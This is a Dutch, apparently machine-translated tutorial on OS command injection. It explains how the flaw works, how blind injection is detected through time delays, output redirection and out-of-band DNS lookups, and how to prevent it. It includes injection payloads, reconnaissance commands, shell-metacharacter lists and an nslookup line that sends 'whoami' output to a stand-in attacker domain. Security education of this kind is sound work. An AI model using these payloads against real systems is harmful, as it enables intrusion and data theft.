In deze sectie zullen we uitleggen wat OS command injection is, beschrijven hoe kwetsbaarheden kunnen worden gedetecteerd en benut, een aantal nuttige commando ‘ s en technieken voor verschillende besturingssystemen spellen en samenvatten hoe OS command injection te voorkomen.
- Wat is OS Commando injectie?
- het uitvoeren van willekeurige opdrachten
- handige commando ‘s
- Blind OS command-injectie kwetsbaarheden
- detecteren van blinde OS-opdracht injectie met tijdsvertragingen
- gebruikmakend van blind OS Commando injectie door output
- gebruikmakend van blind OS Commando injectie met behulp van out-of-band (OAST) technieken
- manieren om OS commando’ s
- hoe OS Commando injectie aanvallen te voorkomen
Wat is OS Commando injectie?
OS command injection (ook bekend als shell injection) is een beveiligingsprobleem dat een aanvaller in staat stelt om willekeurige besturingssystemen (OS) commando ‘ s uit te voeren op de server waarop een toepassing draait, en meestal de toepassing en alle gegevens volledig in gevaar brengen. Heel vaak, een aanvaller kan een OS Commando injectie kwetsbaarheid benutten om andere delen van de hosting infrastructuur in gevaar te brengen, het benutten van vertrouwensrelaties om de aanval te draaien naar andere systemen binnen de organisatie.
het uitvoeren van willekeurige opdrachten
overweeg een shopping applicatie waarmee de gebruiker kan zien of een item in voorraad is in een bepaalde winkel. Deze informatie is toegankelijk via een URL zoals:
https://insecure-website.com/stockStatus?productID=381&storeID=29
om de voorraadinformatie te verstrekken, moet de toepassing verschillende oudere systemen opvragen. Om historische redenen wordt de functionaliteit geà mplementeerd door naar een shell-opdracht te roepen met de product-en opslag-ID ‘ s als argumenten:
stockreport.pl 381 29
dit commando voert de voorraadstatus uit voor het opgegeven item, dat wordt geretourneerd aan de gebruiker.
omdat de toepassing geen verdediging implementeert tegen OS Commando injectie, kan een aanvaller de volgende invoer indienen om een willekeurig commando uit te voeren:
& echo aiwefwlguh &
als deze invoer wordt opgegeven in de parameter productID
, dan is het commando dat door de toepassing wordt uitgevoerd::
stockreport.pl & echo aiwefwlguh & 29
het echo
commando zorgt er eenvoudig voor dat de meegeleverde tekenreeks in de uitvoer wordt weergegeven, en is een handige manier om te testen op sommige typen OS Commando-injectie. Het &
teken is een shell commando scheidingsteken, en dus wat wordt uitgevoerd zijn eigenlijk drie afzonderlijke commando ‘ s de een na de ander. Als gevolg daarvan, de output geretourneerd aan de gebruiker is:
Error - productID was not provided
aiwefwlguh
29: command not found
de drie productielijnen tonen aan dat:
- het oorspronkelijke
stockreport.pl
commando werd uitgevoerd zonder de verwachte argumenten,en gaf dus een foutmelding. - het geïnjecteerde
echo
commando werd uitgevoerd, en de meegeleverde string werd in de uitvoer herhaald. - het oorspronkelijke argument
29
werd uitgevoerd als een commando, dat een fout veroorzaakte.
het plaatsen van het extra commando-scheidingsteken &
na het geïnjecteerde commando is over het algemeen nuttig omdat het het geïnjecteerde Commando scheidt van hetgeen volgt op het injectiepunt. Dit vermindert de kans dat wat volgt zal voorkomen dat het geïnjecteerde commando wordt uitgevoerd.
handige commando ‘s
wanneer u een beveiligingslek voor OS-Commando-injectie hebt geïdentificeerd, is het over het algemeen nuttig om enkele initiële commando’ s uit te voeren om informatie te verkrijgen over het systeem dat u hebt gecompromitteerd. Hieronder vindt u een samenvatting van een aantal commando ‘ s die nuttig zijn op Linux en Windows-platforms:
Doel van de opdracht | Linux | Windows |
---|---|---|
de Naam van de huidige gebruiker | whoami |
whoami |
Besturingssysteem | uname -a |
ver |
Netwerk configuratie | ifconfig |
ipconfig /all |
Netwerk verbindingen | netstat -an |
netstat -an |
processen | ps -ef |
tasklist |
Blind OS command-injectie kwetsbaarheden
Veel gevallen van OS command injection zijn blinde kwetsbaarheden. Dit betekent dat de toepassing de uitvoer van het commando binnen zijn HTTP-antwoord niet retourneert. Blinde kwetsbaarheden kunnen nog steeds worden benut, maar verschillende technieken zijn vereist.
overweeg een website waarmee gebruikers feedback kunnen geven over de site. De gebruiker voert zijn e-mailadres en feedbackbericht in. De server-side applicatie genereert vervolgens een e-mail naar een site beheerder met de feedback. Om dit te doen, roept het naar het mail
programma met de ingediende details. Bijvoorbeeld:
mail -s "This site is great" -aFrom:[email protected] [email protected]
de uitvoer van het mail
Commando (indien aanwezig) wordt niet geretourneerd in de antwoorden van de toepassing, en dus zou het gebruik van de echo
payload niet effectief zijn. In deze situatie kunt u verschillende andere technieken gebruiken om een kwetsbaarheid op te sporen en te exploiteren.
detecteren van blinde OS-opdracht injectie met tijdsvertragingen
u kunt een geïnjecteerde opdracht gebruiken die een tijdsvertraging veroorzaakt, zodat u kunt bevestigen dat de opdracht is uitgevoerd op basis van de tijd die de toepassing nodig heeft om te reageren. Het ping
commando is een effectieve manier om dit te doen, omdat het je het aantal ICMP-pakketten laat opgeven om te verzenden, en dus de tijd die nodig is voor het uitvoeren van het commando:
& ping -c 10 127.0.0.1 &
dit commando zorgt ervoor dat de applicatie zijn loopback netwerkadapter gedurende 10 Seconden ping.
gebruikmakend van blind OS Commando injectie door output
om te leiden kunt u de uitvoer van het geïnjecteerde Commando omleiden naar een bestand binnen de web root dat u vervolgens met uw browser kunt ophalen. Als de toepassing bijvoorbeeld statische bronnen van de locatie van het bestandssysteem /var/www/static
gebruikt, kunt u de volgende invoer verzenden:
& whoami > /var/www/static/whoami.txt &
het teken >
stuurt de uitvoer van het commando whoami
naar het opgegeven bestand. U kunt dan met uw browser https://vulnerable-website.com/whoami.txt
ophalen om het bestand op te halen en de uitvoer van het geïnjecteerde Commando bekijken.
gebruikmakend van blind OS Commando injectie met behulp van out-of-band (OAST) technieken
u kunt een geïnjecteerde opdracht gebruiken die een out-of-band netwerk interactie zal activeren met een systeem dat u bestuurt, met behulp van Oast technieken. Bijvoorbeeld::
& nslookup kgji2ohoyw.web-attacker.com &
deze payload gebruikt het nslookup
commando om een DNS lookup te maken voor het opgegeven domein. De aanvaller kan controleren of de opgegeven lookup optreedt, en daarmee detecteren dat het commando met succes is geïnjecteerd.
het out-of-band kanaal biedt ook een eenvoudige manier om de uitvoer van geïnjecteerde commando ’s te exfiltreren:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
dit zal leiden tot een DNS lookup naar het domein van de aanvaller met het resultaat van het whoami
Commando:
wwwuser.kgji2ohoyw.web-attacker.com
manieren om OS commando’ s
te injecteren een verscheidenheid aan shell metacharacters kan worden gebruikt om OS Commando injectie aanvallen uit te voeren.
een aantal tekens functioneren als commando-scheidingstekens, waardoor commando ‘ s aan elkaar kunnen worden geketend. De volgende opdrachtscheidingstekens werken op zowel Windows-als Unix-gebaseerde systemen:
-
&
-
&&
-
|
-
||
De volgende opdracht scheidingstekens werk alleen op Unix-systemen:
-
;
- teken nieuwe-regel (
0x0a
of\n
)
Op Unix-systemen kunt u ook gebruik maken van backticks of het dollar teken in te voeren inline uitvoering van een ingespoten opdracht binnen de oorspronkelijke opdracht:
-
`
geïnjecteerde opdracht`
-
$(
geïnjecteerde opdracht)
merk op dat de verschillende shell metacharacters subtiel verschillend gedrag hebben dat kan beïnvloeden of ze werken in bepaalde situaties, en of ze toestaan in-band ophalen van commando uitvoer of zijn alleen nuttig voor blinde exploitatie.
soms verschijnt de invoer die u beheert tussen aanhalingstekens in het oorspronkelijke Commando. In deze situatie moet u de geciteerde context beëindigen (met "
of '
) voordat u geschikte shell-metacharacters gebruikt om een nieuw commando te injecteren.
hoe OS Commando injectie aanvallen te voorkomen
veruit de meest effectieve manier om OS Commando injectie kwetsbaarheden te voorkomen is om nooit naar OS commando ‘ s te roepen vanuit applicatielaag code. In vrijwel elk geval zijn er alternatieve manieren om de vereiste functionaliteit te implementeren met behulp van safer platform API ‘ s.
als het onvermijdelijk wordt geacht om OS-commando ‘ s uit te roepen met door de gebruiker aangeleverde invoer, moet een sterke invoervalidatie worden uitgevoerd. Enkele voorbeelden van effectieve validatie zijn::
- valideren tegen een witte lijst van toegestane waarden.
- valideren dat de invoer een getal is.
- valideren dat de invoer alleen alfanumerieke tekens bevat, geen andere syntaxis of witruimte.
probeer nooit de invoer te zuiveren door te ontsnappen aan shell-metacharacters. In de praktijk is dit gewoon te foutgevoelig en kwetsbaar voor omzeiling door een ervaren aanvaller.